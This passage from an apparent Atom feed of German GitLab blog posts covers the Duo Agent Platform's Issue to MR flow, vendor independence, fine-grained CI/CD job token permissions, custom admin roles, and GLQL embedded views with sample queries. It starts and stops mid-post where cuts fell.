<li>Klicke unter der Issue-Überschrift auf <strong>Generate MR with Duo</strong>, um den Flow zu starten.</li>
<li>Wenn du den Fortschritt der Agenten bei der Implementierung deines Issues verfolgen möchtest, gehe zu <strong>Automate &gt; Agent sessions</strong>, um das Live-Session-Log zu sehen, während Agenten planen und Änderungen vorschlagen.</li>
<li>Wenn die Pipeline abgeschlossen ist, erscheint ein Link zum MR in der Issue-Aktivität. Öffne ihn, um die Zusammenfassung und dateibasierte Änderungen zu überprüfen.</li>
<li>Wenn du die von GitLab Duo Agent Platform vorgeschlagenen Aktualisierungen lokal validieren möchtest, kannst du den Branch auf deinen Laptop ziehen, deine App erstellen und ausführen und überprüfen, ob die Aktualisierung wie erwartet funktioniert. Falls nötig, nimm Änderungen im MR vor und fahre mit dem normalen Review fort.</li>
<li>Wenn du mit allen vorgeschlagenen Anwendungsaktualisierungen zufrieden bist, merge den MR in den Main Branch.</li>
</ol>
<h2>Warum der Issue to MR Flow gut für Anwendungsänderungen funktioniert</h2>
<p>Der Issue to MR Flow schlägt Code-Änderungen vor und aktualisiert den MR direkt, sodass du weniger Zeit mit der Dateisuche verbringst und nur das Ergebnis bewerten und überprüfen musst. Zusätzlich wird der MR automatisch mit dem ursprünglichen Issue verknüpft, was den Kontext für Reviewer und Stakeholder klar hält. Schließlich kannst du die Agent-Session überwachen, um zu verstehen, was bei jedem Schritt passiert.</p>
<h2>Vorteile von GitLab Duo Agent Platform</h2>
<p>GitLab Duo Agent Platform ist <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/">eine agentische Orchestrierungsschicht</a>, die <strong>vollständigen Projektkontext</strong> mitbringt, einschließlich Planung, Codierung, Erstellung, Sicherung, Bereitstellung und Überwachung, sodass Agenten im gesamten Software-Entwicklungslebenszyklus (SDLC) helfen können, nicht nur bei der Code-Bearbeitung.</p>
<ul>
<li>Einheitliches Datenmodell: GitLab Duo Agents arbeiten mit GitLabs einheitlichen SDLC-Daten und ermöglichen qualitativ hochwertigere Entscheidungen und Zusammenarbeit bei Aufgaben – auch bei nicht codebezogenen.</li>
<li>Sicherheit und Compliance sind integriert: GitLab Duo Agents laufen innerhalb von Enterprise-Sicherheitsvorkehrungen und sind auch in stark regulierten oder Offline-/Air-Gap-Umgebungen nutzbar.</li>
<li>Interoperabilität und Erweiterbarkeit: Orchestriere Flows über Anbieter und Tools hinweg; verbinde externe Daten über <a href="https://about.gitlab.com/topics/ai/model-context-protocol/">MCP</a>/A2A für reicheren Kontext.</li>
<li>Skaliere die Zusammenarbeit: GitLab Duo Agents arbeiten in der GitLab-UI und IDEs und ermöglichen Viele-zu-Viele-Mensch-Agent-Zusammenarbeit.</li>
<li>Auffindbar und teilbar: Finde und teile Agents und Flows in einem zentralisierten AI-Katalog.</li>
</ul>
<h2>Probiere den Issue to MR Flow noch heute aus</h2>
<p>Für Anwendungsaktualisierungen, wie eine kleine UI-Anpassung, hilft dir der Issue to MR Flow, schnell von einem klaren Issue zu einem überprüfbaren MR zu gelangen, mit Fortschritt, den du überwachen kannst, und Änderungen, die du validieren und über deinen Standardworkflow mergen kannst. Er bewahrt den Kontext, reduziert Übergaben und lässt dein Team sich auf Qualität statt auf Routinearbeit konzentrieren.</p>
<p>Sieh dir den Issue to MR Flow in Aktion an:</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/BrrMHN4gXF4?si=J7beTgWOLxvS4hOw&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<blockquote>
<p>Probiere den Issue to MR Flow auf GitLab Duo Agent Platform jetzt mit einer <a href="https://about.gitlab.com/de-de/free-trial/">kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise</a> aus.</p>
</blockquote>
]]></content>
        <author>
            <name>Cesar Saavedra</name>
            <uri>https://about.gitlab.com/blog/authors/cesar-saavedra</uri>
        </author>
        <published>2025-09-03T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Warum Unabhängigkeit in DevSecOps wichtiger ist denn je]]></title>
        <id>https://about.gitlab.com/de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/</id>
        <link href="https://about.gitlab.com/de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/"/>
        <updated>2025-09-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Seit über einem Jahrzehnt setzt sich GitLab für Transparenz, Unabhängigkeit und die Priorisierung von Entwickler(inne)n ein. Heute ist das wichtiger denn je, während sich die Branche weiterentwickelt. Unternehmensführungen stellen kritische Fragen: Wer kontrolliert letztendlich die Entwicklungsinfrastruktur? Wie wird der Code in KI-Systemen verwendet? Was passiert, wenn sich Anbieter-Prioritäten von kritischen Anforderungen wegbewegen?</p>
<p>Letzten Monat <a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">kündigten wir GitLab 18.3 an</a>, die neueste Version unserer KI-nativen DevSecOps-Plattform. Agent Insights, Teil der GitLab Duo Agent Platform, bietet Einblicke in die Entscheidungsprozesse der Agenten. Erweiterte KI-Modellunterstützung bedeutet keine Anbieterabhängigkeit. Verbesserte Governance-Kontrollen ermöglichen Compliance über mehrere Rechtsräume hinweg.</p>
<p>Das sind nicht nur Funktionen. Es sind Beispiele für Transparenz, Unabhängigkeit und den entwicklerorientierten Ansatz, der GitLab definiert. So setzt sich diese Strategie in der Praxis um.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1115249475?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Who is GitLab_Robin_090225_FINAL&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>KI-Transparenz über den gesamten DevSecOps-Lebenszyklus</h2>
<p><strong>Bei GitLab adressiert unser jahrzehntelanges Engagement für Transparenz diese Bedenken direkt.</strong> Da künstliche Intelligenz zunehmend in Entwicklungs-Workflows integriert wird, sind Organisationen zu Recht besorgt darüber, wie Code und Daten für KI-Training verwendet werden.</p>
<p>Das GitLab <a href="https://about.gitlab.com/de-de/ai-transparency-center/">KI-Transparenzzentrum</a>, im April 2024 gestartet, bietet eine klare Dokumentation unserer Datenverarbeitungspraktiken, Datenschutzmaßnahmen und ethischen KI-Prinzipien. Im Gegensatz zu Plattformen, die KI-Funktionen mit unklaren Datennutzungsrichtlinien betreiben, priorisiert GitLab Transparenz, damit Kund(inn)en <a href="https://docs.gitlab.com/user/gitlab_duo/data_usage/">genau verstehen, wie Daten verarbeitet werden</a>, gespeichert und geschützt werden – ohne Training mit diesen Daten.</p>
<p>Unser Ansatz erstreckt sich auf Modellflexibilität und Anbieterunabhängigkeit. Während einige Plattformen Kund(inn)en an einzelne Large Language Model (LLM)-Anbieter binden und damit zusätzliche Anbieterabhängigkeiten und potenzielle Single Points of Failure schaffen, werden GitLabs KI-Funktionen von verschiedenen Modellen unterstützt. Dieser Ansatz ermöglicht es uns, eine breite Palette von Anwendungsfällen zu unterstützen und bietet Kund(inn)en die Flexibilität, sich an strategischen Prioritäten auszurichten.</p>
<p>Bei der Weiterentwicklung der GitLab Duo Agent Platform bleiben wir auf Datenkontrolle fokussiert und behalten umfassende Human-in-the-Loop-Kontrollen bei. Und GitLab Duo Self-Hosted bietet vollständige Datensouveränität mit luftdichten Bereitstellungsoptionen, Zero-Day-Datenaufbewahrungsrichtlinien und der Möglichkeit, alle KI-Anfragen innerhalb der eigenen Infrastruktur zu verarbeiten.</p>
<p>Seit Mai 2024 pflegen wir auch einen <a href="https://handbook.gitlab.com/de-de/handbook/product/ai/continuity-plan/">KI-Kontinuitätsplan</a> mit einem branchenführenden Versprechen: die Fähigkeit, innerhalb von 30 Tagen ein neues Modell zu evaluieren und zu wechseln, falls ein Anbieter seine Praktiken bezüglich Kundendaten ändert. Dieser proaktive Ansatz zum KI-Anbieter-Risikomanagement spiegelt unser Engagement für Kundenkontrolle wider.</p>
<h2>Wahlfreiheit bei Bereitstellung und Cloud-Anbieter</h2>
<p><strong>Organisationen sollten wählen können, wie und wo die DevSecOps-Umgebung bereitgestellt wird.</strong> GitLab bietet echte Bereitstellungsflexibilität. Organisationen können zwischen On-Premises-Installationen, Multi-Tenant-SaaS oder GitLab Dedicated wählen, unserer vollständig verwalteten Single-Tenant-SaaS-Lösung, ohne auf Funktionalität zu verzichten oder künstlichen Einschränkungen ausgesetzt zu sein, die auf Ökosystem-Lock-in abzielen. GitLab ist auch Cloud-neutral, sodass Kund(inn)en den Cloud-Anbieter nutzen können, der am besten zu Geschäftsanforderungen und Umgebung passt.</p>
<p>Diese Flexibilität erweist sich als unschätzbar wertvoll bei der Navigation durch komplexe rechtliche Anforderungen und regulatorische Herausforderungen. Wenn neue Datenlokalisierungsgesetze entstehen – wie wir es in der Europäischen Union und anderen Regionen gesehen haben – können Organisationen, die GitLab nutzen, ihre Bereitstellungsstrategien schnell anpassen, ohne durch Ökosystemabhängigkeiten eingeschränkt zu sein.</p>
<p>Aus Beschaffungs- und Risikomanagement-Perspektive bietet Plattformunabhängigkeit auch entscheidende Verhandlungsmacht bei Vertragsverhandlungen. Organisationen werden nicht in restriktive Lizenzvereinbarungen gezwungen, die Anbieterinteressen über Kundenbedürfnisse stellen. Diese Unabhängigkeit wird besonders kritisch, da Unternehmen wachsamer werden, wer ihren KI-Stack kontrolliert.</p>
<h2>Sicherheit und Compliance: Eingebaut und immer Priorität</h2>
<p><strong>Sicherheit und Compliance sind jetzt genauso wichtig wie Entwicklungsfunktionen und sollten in die Plattform eingebaut sein, nicht nachträglich hinzugefügt.</strong> GitLabs Single-Platform-Ansatz bietet erhebliche Vorteile gegenüber fragmentierten Plattformen, die auf Drittanbieter-Add-Ins angewiesen sind, um grundlegende Sicherheits- und Governance-Funktionen zu erreichen. Dieser architektonische Unterschied hat erhebliche Auswirkungen auf mögliche rechtliche Risiken, operative Effizienz und regulatorische Compliance. Jedes zusätzliche Tool in der Kette stellt einen weiteren potenziellen Fehlerquellen dar, weitere Geschäftsbedingungen, die verhandelt werden müssen, und eine weitere Risikoquelle.</p>
<p>GitLab bietet umfassende eingebaute Sicherheits- und Compliance-Funktionen, einschließlich kundenspezifischer Compliance-Frameworks, dynamischem Application Security Testing (DAST), API-Fuzz-Testing, Coverage-Guided Fuzzing und Infrastructure-as-Code-Testing. Diese Funktionen sind nativ in die Plattform integriert und bieten konsistente Richtliniendurchsetzung und reduzieren die Compliance-Komplexität und zusätzlichen Kosten, die mit der Verwaltung mehrerer Drittanbieter-Tools verbunden sind.</p>
<p>Unser <a href="https://docs.gitlab.com/user/compliance/compliance_center/">Compliance-Center</a> bietet einen zentralen Ort für Teams, um ihre Compliance-Standards, Compliance-Berichte, Verstöße und Compliance-Frameworks für ihre Gruppe zu verwalten. Dieser einheitliche Ansatz für das Compliance-Management ist besonders wertvoll für Organisationen in stark regulierten Branchen, in denen Audit-Trails und Compliance-Dokumentation kritisch sind.</p>
<h2>Nähe zur Open-Source-Community</h2>
<p><strong>Die besten Tools werden von den Menschen geprägt, die sie nutzen.</strong> Unser Engagement für Open Source und die Zusammenarbeit mit unserer Community ist seit unserer Gründung Kern von GitLab. Beispielsweise ist unser <a href="https://about.gitlab.com/community/co-create/">Co-Create-Programm</a> eine kollaborative Initiative, die es Kund(inn)en ermöglicht, direkt mit GitLab-Ingenieur(inn)en zusammenzuarbeiten, um Funktionen, Fixes und Verbesserungen zur GitLab-Plattform beizutragen.</p>
<p>Unser Transparenzwert bleibt grundlegend für unser Geschäft. Ein Beispiel dafür ist unser <a href="https://gitlab.com/groups/gitlab-org/-/issues">offener Issue-Tracker</a>, in dem Kund(inn)en unseren Fortschritt verfolgen und direkt mit dem GitLab-Team in Diskussionen über Verbesserungsmöglichkeiten unseres Produkts eintreten können. Wir haben kürzlich unsere <a href="https://about.gitlab.com/de-de/blog/inside-gitlabs-healthy-backlog-initiative/">Healthy Backlog Initiative</a> gestartet, um Kund(inn)en noch größere Einblicke in unsere Planung zu geben und ihr Feedback an Stellen mit der größten Wirkung zu lenken.</p>
<p>Unser Ansatz ermöglicht es Organisationen, zu Open-Source-Innovation beizutragen und davon zu profitieren, während sie die Governance, Audit-Trails und Sicherheitskontrollen beibehalten, die für regulierte Umgebungen erforderlich sind.</p>
<h2>Daten-Governance: Die Daten, die Kontrolle</h2>
<p><strong>Vollständige Kontrolle über Daten und deren Verarbeitung bleibt erhalten.</strong> Daten-Governance ist zu einem immer kritischeren Faktor bei Unternehmensentscheidungen geworden, angetrieben durch ein komplexes Netz nationaler und regionaler Datenschutzgesetze und wachsende Bedenken über die Kontrolle sensibler geistiger Eigentumsrechte – wie Quellcode, Kundeneinblicke, strategische Initiativen und Wettbewerbsinformationen.</p>
<p>Mit GitLab kann verwaltet werden, wer Zugang zu KI-gestützten Funktionen innerhalb der Plattform hat, was über einfache Zugriffskontrollen hinausgeht und Verschlüsselungsstandards und Audit-Funktionen umfasst, die auf regulatorische Frameworks ausgerichtet sind. Außerdem werden Code und Daten von Kund(inn)en niemals zum Training von KI-Modellen verwendet.</p>
<h2>Die Wahl ist klar</h2>
<p>GitLab führt weiterhin bei KI-nativer DevSecOps-Plattform-Innovation – unsere jüngste <a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">18.3-Version</a> zeigt dies – während wir den Unabhängigkeits- und Transparenzverpflichtungen treu bleiben, die uns immer geleitet haben.</p>
<p>Kund(inn)en haben eine Wahl und sie ist klar: Kontrolle behalten vs. Anbieterabhängigkeit; Transparenz vs. Unsicherheit; Engagement für Innovation vs. Launen des größeren Ökosystems.</p>
<p>GitLab bietet die Grundlage für nachhaltige digitale Transformation, die Innovation mit Unabhängigkeit ausbalanciert und dabei hilft, Geschäftswert für Kund(inn)en zu erzielen.</p>
<p><a href="https://about.gitlab.com/de-de/free-trial/">GitLab Ultimate mit GitLab Duo heute kostenlos testen.</a></p>
]]></content>
        <author>
            <name>Robin Schulman</name>
            <uri>https://about.gitlab.com/blog/authors/robin-schulman</uri>
        </author>
        <published>2025-09-02T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Granulare Job Token Berechtigungen sind jetzt verfügbar]]></title>
        <id>https://about.gitlab.com/de-de/blog/fine-grained-job-tokens-ga/</id>
        <link href="https://about.gitlab.com/de-de/blog/fine-grained-job-tokens-ga/"/>
        <updated>2025-08-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><a href="https://about.gitlab.com/de-de/topics/ci-cd/">CI/CD</a> Pipelines erben oft überprivilegierte Berechtigungen von Benutzerkonten, was erhebliche Sicherheitsrisiken birgt, wenn Pipelines kompromittiert oder Tokens geleakt werden. <a href="https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/">GitLab 18.3</a> führt granulare Berechtigungen für Job Tokens ein, um dieses Problem zu lösen, und überführt diese Sicherheitsverbesserung von Beta zu allgemeiner Verfügbarkeit.</p>
<p>Diese Funktion ermöglicht es Maintainern, granulare Berechtigungen zu implementieren, die den Job-Token-Zugriff auf API-Ressourcen kontrollieren. Gemäß dem <a href="https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/">Principle of Least Privilege</a> haben diese Job Tokens keinerlei Zugriffsmöglichkeit auf API-Ressourcen, bis explizit Berechtigungen erteilt werden.</p>
<p>Diese erste Version umfasst granulare Berechtigungen für die folgenden Ressourcen:</p>
<ul>
<li>Repositories</li>
<li>Deployments</li>
<li>Environments</li>
<li>Jobs</li>
<li>Packages</li>
<li>Pipelines</li>
<li>Releases</li>
<li>Secure Files</li>
<li>Terraform State</li>
</ul>
<p>Zusätzliche API-Endpunkte sind für zukünftige Releases geplant. Weitere Informationen finden sich im <a href="https://gitlab.com/groups/gitlab-org/-/epics/6310">zugehörigen Epic</a>.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755633419/izgwpj45oxoof0frvhap.png" alt="Beispiel für granulare Berechtigungen"></p>
<h2>Das Gesamtbild</h2>
<p>Diese Version stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Historisch waren Job Tokens an den oder die Benutzer(in) gebunden, der oder die die Pipeline ausführt, wodurch bestehende Privilegien weitergegeben wurden und Sicherheitsrisiken entstanden, wenn Pipelines kompromittiert wurden.</p>
<p>Granulare Berechtigungen für Job Tokens bieten eine Grundlage für ein sichereres CI/CD-Ökosystem, das:</p>
<ul>
<li><strong>Die Angriffsfläche reduziert</strong>: Implementiert das Principle of Least Privilege durch Beschränkung des Zugriffs auf nur notwendige Ressourcen</li>
<li><strong>Die Abhängigkeit von langlebigen Tokens eliminiert</strong>: Bietet eine sichere Alternative, die den Bedarf an persönlichen Zugriffstokens und anderen persistenten Anmeldedaten reduziert</li>
<li><strong>Auf maschinenbasierte Identität vorbereitet</strong>: Dieser Opt-in-Ansatz legt den Grundstein dafür, Job Tokens perspektivisch vollständig von Benutzeridentitäten zu entkoppeln und sich in Richtung echter Machine-to-Machine-Authentifizierung zu bewegen</li>
<li><strong>Sichere Automatisierung im großen Maßstab ermöglicht</strong>: Unterstützt komplexe Deployment-Workflows und CI/CD-Komponenten ohne Kompromisse bei der Sicherheit</li>
</ul>
<h2>Erste Schritte</h2>
<p>Security-Teams und DevOps-Ingenieure sollten diese Funktion für alle Projekte evaluieren, die automatisierte Deployments, Package-Veröffentlichungen oder Infrastructure Management durchführen. Da es sich um eine Opt-in-Funktion handelt, kann die Migration schrittweise erfolgen, um Störungen bestehender Pipelines zu minimieren.</p>
<p>Beginne damit, die kritischsten Pipelines zu identifizieren und deren aktuelle Berechtigungsanforderungen zu prüfen. Aktiviere dann granulare Berechtigungen und konfiguriere den minimalen Zugriff, der für jedes Projekt benötigt wird. Weitere Informationen finden sich in der <a href="https://docs.gitlab.com/ci/jobs/fine_grained_permissions/">Dokumentation zu granularen Berechtigungen für CI/CD Job Tokens</a>.</p>
]]></content>
        <author>
            <name>Alex Mark</name>
            <uri>https://about.gitlab.com/blog/authors/alex-mark</uri>
        </author>
        <author>
            <name>Joe Randazzo</name>
            <uri>https://about.gitlab.com/blog/authors/joe-randazzo</uri>
        </author>
        <published>2025-08-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Custom Admin Roles sind jetzt allgemein verfügbar]]></title>
        <id>https://about.gitlab.com/de-de/blog/custom-admin-roles-now-ga/</id>
        <link href="https://about.gitlab.com/de-de/blog/custom-admin-roles-now-ga/"/>
        <updated>2025-08-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab führt granulare Berechtigungen für den Admin-Bereich in GitLab Self-Managed und GitLab Dedicated Instanzen ein. Diese Custom Admin Roles ermöglichen es Organisationen, das <a href="https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/">Principle of Least Privilege</a> für ihre Instanzen umzusetzen und gleichzeitig die operative Effizienz zu erhalten. Ähnlich wie Custom Roles für Gruppen und Projekte bieten Custom Admin Roles detaillierte Berechtigungen zur Kontrolle des Zugriffs auf den Admin-Bereich.</p>
<p>Diese granularen Admin-Berechtigungen ermöglichen es Organisationen, zweckgebundene administrative Rollen zu erstellen, anstatt Benutzern vollständigen Administratorzugang zu gewähren. Mögliche Anwendungsfälle umfassen:</p>
<ul>
<li><strong>Platform Team:</strong> Zugriff auf Runner-Management, Instanz-Monitoring und Performance-Metriken</li>
<li><strong>Support Team:</strong> Zugriff auf User-Management und Troubleshooting-Workflows</li>
<li><strong>Leadership Team:</strong> Zugriff auf Dashboards, Nutzungsstatistiken und Lizenzierung</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121189/xnnoyowwutlbxu9unho5.png" alt="Custom Admin Role"></p>
<h2>Funktionen</h2>
<ul>
<li><strong>Granulare Berechtigungen:</strong> Custom Permissions ermöglichen es, eine Rolle zu erstellen, die den spezifischen Anforderungen entspricht.</li>
<li><strong>Management auf Instanzebene:</strong> Custom Admin Roles werden zentral erstellt und verwaltet.</li>
<li><strong>LDAP-Integration:</strong> Unterstützung für die Zuweisung großer Benutzergruppen zu Rollen über Directory-Server.</li>
<li><strong>Audit-Integration:</strong> Funktioniert mit dem bestehenden <a href="https://docs.gitlab.com/administration/settings/sign_in_restrictions/#admin-mode">Admin-Modus</a> und Audit-Events.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121190/wedoc6gi4upivvjezyeu.png" alt="Custom Admin Role"></p>
<h2>Mission: Die Sicherheit der Software-Supply-Chain verbessern</h2>
<p>Diese Funktion stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Als Teil dieser Mission hat GitLab auch Custom Roles für Projekte und Gruppen sowie <a href="https://docs.gitlab.com/ci/jobs/fine_grained_permissions/">granulare Berechtigungen für CI/CD Job Tokens</a> hinzugefügt.</p>
<p>Weitere Informationen zu Custom Admin Roles finden sich unter <a href="https://docs.gitlab.com/user/custom_roles/">Custom Roles</a>. Zusätzliche Berechtigungen sind für zukünftige Releases geplant. Um Feedback zu teilen, siehe das <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/509376">Custom Roles Issue</a>.</p>
]]></content>
        <author>
            <name>Joe Randazzo</name>
            <uri>https://about.gitlab.com/blog/authors/joe-randazzo</uri>
        </author>
        <published>2025-08-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Embedded Views: Die Zukunft des Work Tracking in GitLab]]></title>
        <id>https://about.gitlab.com/de-de/blog/embedded-views-the-future-of-work-tracking-in-gitlab/</id>
        <link href="https://about.gitlab.com/de-de/blog/embedded-views-the-future-of-work-tracking-in-gitlab/"/>
        <updated>2025-08-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Kommt dir das bekannt vor? Du wechselst ständig zwischen Tabs in GitLab, nur
um den</p>
<p>Überblick zu behalten, was in deinem Projekt passiert? Vielleicht prüfst du</p>
<p>eine Issue, springst dann zu einem Merge Request und dann zu einem Epic, um</p>
<p>zu sehen, wie alles zusammenhängt. Ehe du dich versiehst, ist dein Browser</p>
<p>voller Tabs und du hast den roten Faden verloren.</p>
<p>Keine Sorge, du stehst nicht alleine da. Viele Teams verschwenden Zeit und Energie damit, zwischen verschiedenen Elementen in ihrer Projektverwaltungssoftware hin und her zu springen, nur um den Überblick über ihre Arbeit zu behalten.</p>
<p>Deshalb haben wir <a href="https://docs.gitlab.com/user/glql/#embedded-views">Embedded Views</a> entwickelt, angetrieben von <a href="https://docs.gitlab.com/user/glql/">GitLab Query Language (GLQL)</a>. Mit Embedded Views, <a href="https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/">verfügbar ab 18.3</a>, erhältst du Live-Informationen genau dort, wo du bereits in GitLab arbeitest. Kein endloses Kontextwechseln mehr. Keine veralteten Berichte mehr. Nur die Informationen, die du brauchst, genau dann, wenn du sie brauchst.</p>
<h2>Warum Embedded Views wichtig sind</h2>
<p>Embedded Views sind mehr als nur ein neues Feature – sie stellen eine grundlegende Veränderung dar, wie Teams ihre Arbeit in GitLab verstehen und verfolgen. Mit Embedded Views können Teams den Kontext beibehalten, während sie auf Echtzeitinformationen zugreifen, gemeinsames Verständnis schaffen und die Zusammenarbeit verbessern, ohne ihren aktuellen Workflow zu verlassen. Es geht darum, die Arbeitsverfolgung natürlich und mühelos zu gestalten, damit Sie sich auf das Wesentliche konzentrieren können.</p>
<h2>So funktioniert's: Echtzeitdaten genau dort, wo sie am meisten gebraucht werden</h2>
<p>Mit Embedded Views kannst du Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests einfügen. Das macht sie so nützlich:</p>
<h3>Immer aktuell</h3>
<p>GLQL-Abfragen sind dynamisch und rufen bei jedem Seitenladen frische Daten ab. Deine Embedded Views spiegeln also immer den aktuellen Zustand deiner Arbeit wider, nicht den Zustand beim Einbetten der Ansicht. Wenn Änderungen an Issues, Merge Requests oder Milestones auftreten, zeigt eine Seitenaktualisierung diese Updates in Ihrer Embedded View an.</p>
<h3>Kontextbezogenes Bewusstsein</h3>
<p>Verwende Funktionen wie <code>currentUser()</code> und <code>today()</code>, um Abfragen kontextspezifisch zu machen. Deine Embedded Views passen sich automatisch an, um relevante Informationen für die jeweilige Person anzuzeigen, die sie betrachtet, und schaffen so personalisierte Erlebnisse ohne manuelle Konfiguration.</p>
<h3>Leistungsstarke Filterung</h3>
<p>Filter nach Feldern wie Zuweisenden, Autor(inn)en, Label, Milestone, Gesundheitsstatus, Erstellungsdatum und mehr. Verwende logische Ausdrücke, um genau die gewünschten Daten zu erhalten. Wir unterstützen mehr als 30 Felder ab Version 18.3.</p>
<h3>Anpassbare Anzeige</h3>
<p>Du kannst deine Daten als Tabelle, Liste oder nummerierte Liste anzeigen. Wähle, welche Felder angezeigt werden sollen, lege ein Limit für die Anzahl der Elemente fest und gib die Sortierreihenfolge an, um deine Ansicht fokussiert und handlungsorientiert zu halten.</p>
<h3>Verfügbarkeit</h3>
<p>Du kannst Embedded Views in Gruppen- und Projekt-Wikis, Epic- und Issue-Beschreibungen, Merge Requests und Kommentaren verwenden. GLQL ist in allen GitLab-Stufen verfügbar: Free, Premium und Ultimate, auf GitLab.com, GitLab Self-Managed und GitLab Dedicated. Bestimmte Funktionen wie die Anzeige von Epics, Status, benutzerdefinierten Feldern, Iterationen und Gewichtungen sind in den Stufen Premium und Ultimate verfügbar. Die Anzeige des Gesundheitsstatus ist nur in Ultimate verfügbar.</p>
<h2>Embedded Views in Aktion erleben</h2>
<p>Die Syntax einer Embedded View-Quelle ist eine Obermenge von YAML. Sie besteht aus:</p>
<ul>
<li>
<p>Dem <code>query</code>-Parameter: Ausdrücke, die mit einem logischen Operator wie <code>and</code> verbunden werden.</p>
</li>
<li>
<p>Parametern für die Präsentationsebene wie <code>display</code>, <code>limit</code> oder <code>fields</code>, <code>title</code> und <code>description</code>,
dargestellt als YAML.</p>
</li>
</ul>
<p>Eine View wird in Markdown als Codeblock definiert, ähnlich wie andere Codeblöcke wie Mermaid.</p>
<p>Zum Beispiel:</p>
<blockquote>
<p>Zeige eine Tabelle der ersten 5 offenen Issues an, die dem authentifizierten Benutzer in <code>gitlab-org/gitlab</code> zugewiesen sind.</p>
</blockquote>
<blockquote></blockquote>
<blockquote>
<p>Zeige die Spalten <code>title</code>, <code>state</code>, <code>health</code>, <code>description</code>, <code>epic</code>, <code>milestone</code>, <code>weight</code> und <code>updated</code>.</p>
</blockquote>
<pre><code class="language-yaml">
```glql


display: table


title: GLQL-Tabelle 🎉


description: Diese Ansicht listet meine offenen Issues auf


fields: title, state, health, epic, milestone, weight, updated


limit: 5


query: project = &quot;gitlab-org/gitlab&quot; AND assignee = currentUser() AND state = opened


```

</code></pre>
<p>Diese Quelle sollte eine Tabelle wie die folgende rendern:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png" alt=""></p>
<p>Eine einfache Möglichkeit, erste Embedded View zu erstellen, besteht darin, zum Dropdown-Menü <strong>Weitere Optionen</strong> in der Rich-Text-Editor-Symbolleiste zu navigieren. Wähle dort <strong>Embedded View</strong> aus, wodurch folgende Abfrage in einem Markdown-Codeblock eingefügt wird:</p>
<pre><code class="language-yaml">
```glql


query: assignee = currentUser()


fields: title, createdAt, milestone, assignee


title: Mir zugewiesene Issues


```

</code></pre>
<p>Speicher deine Änderungen im Kommentar oder in der Beschreibung, wo der Codeblock erscheint, und schon bist du fertig! Du hast erfolgreich deine erste Embedded View erstellt!</p>
<h2>Wie GitLab Embedded Views nutzt</h2>
<p>Ob wir Merge Requests für Security-Releases nachverfolgen, Bugs zur Verbesserung der Backlog-Hygiene triagieren oder Team-Onboarding und Milestone-Planung verwalten – wir verlassen uns täglich bei geschäftskritischen Prozessen auf Embedded Views. Dies ist nicht nur ein Feature, das wir entwickelt haben, es ist ein Tool, auf das wir uns verlassen, um unser Geschäft effektiv zu führen. Wenn du Embedded Views einführst, erhältst du eine getestete Lösung, die GitLab-Teams bereits dabei hilft, effizienter zu arbeiten, datengesteuerte Entscheidungen zu treffen und die Transparenz über komplexe Workflows hinweg zu wahren. Einfach ausgedrückt: Embedded Views können verändern, wie dein Team auf die Arbeit zugreift und sie analysiert, die für deinen Erfolg am wichtigsten ist.</p>
<p>Um mehr darüber zu erfahren und zu sehen, wie GitLab Embedded Views intern nutzt, schaue dir <a href="https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/">How GitLab measures Red Team impact: The adoption rate metric</a> und Global Search Release Planning Issues für die Milestones <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239">18.1</a>, <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241">18.2</a> und <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245">18.3</a> an.</p>
<h2>Was kommt als Nächstes</h2>
